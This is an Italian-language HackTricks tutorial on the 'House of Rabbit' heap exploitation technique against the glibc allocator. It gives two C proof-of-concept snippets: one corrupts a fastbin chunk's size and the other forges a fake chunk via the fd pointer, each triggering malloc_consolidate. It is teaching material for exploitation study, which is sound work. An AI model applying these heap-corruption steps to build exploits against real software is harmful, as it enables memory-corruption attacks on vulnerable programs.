House of Rabbit

Sostieni HackTricks

Requisiti

  1. Capacità di modificare il puntatore fd o la dimensione del fast bin: Ciò significa che puoi cambiare il puntatore in avanti di un chunk nel fastbin o la sua dimensione.

  2. Capacità di attivare malloc_consolidate: Questo può essere fatto allocando un chunk grande o unendo il chunk superiore, il che costringe l'heap a consolidare i chunk.

Obiettivi

  1. Creare chunk sovrapposti: Per far sì che un chunk si sovrapponga a un altro, consentendo ulteriori manipolazioni dell'heap.

  2. Forgiare chunk falsi: Per ingannare l'allocatore affinché tratti un chunk falso come un chunk legittimo durante le operazioni sull'heap.

Passaggi dell'attacco

POC 1: Modificare la dimensione di un chunk fast bin

Obiettivo: Creare un chunk sovrapposto manipolando la dimensione di un chunk fastbin.

  • Passo 1: Allocare Chunk

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Passo 2: Liberare i Chunk

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • Passo 3: Modifica della Dimensione del Chunk

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • Passo 4: Attivare malloc_consolidate

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Allocare un grosso blocco attiva la funzione malloc_consolidate, unendo i piccoli blocchi nel fast bin. La dimensione manipolata di chunk1 fa sì che si sovrapponga a chunk2.

Dopo la consolidazione, chunk1 si sovrappone a chunk2, consentendo ulteriori sfruttamenti.

POC 2: Modificare il puntatore fd

Obiettivo: Creare un blocco falso manipolando il puntatore fd del fast bin.

  • Passo 1: Allocare i Blocchi

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Spiegazione: Allociamo due chunk, uno più piccolo e uno più grande, per impostare l'heap per il chunk falso.

  • Passo 2: Creare un chunk falso

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Passo 3: Liberare chunk1

free(chunk1);  // Frees the chunk at 0x602000

Spiegazione: Liberiamo chunk1, aggiungendolo alla lista fastbin.

  • Passo 4: Modifica fd di chunk1

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Spiegazione: Cambiamo il puntatore in avanti (fd) di chunk1 in modo che punti al nostro chunk falso all'interno di chunk2.

  • Passo 5: Attivare malloc_consolidate

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Allocare di nuovo un grosso blocco attiva malloc_consolidate, che elabora il blocco falso.

Il blocco falso diventa parte della lista fastbin, rendendolo un blocco legittimo per ulteriori sfruttamenti.

Riassunto

La tecnica della House of Rabbit coinvolge la modifica della dimensione di un blocco fast bin per creare blocchi sovrapposti o la manipolazione del puntatore fd per creare blocchi falsi. Ciò consente agli attaccanti di forgiare blocchi legittimi nell'heap, consentendo vari tipi di sfruttamento. Comprendere e mettere in pratica questi passaggi migliorerà le tue abilità di sfruttamento dell'heap.

Last updated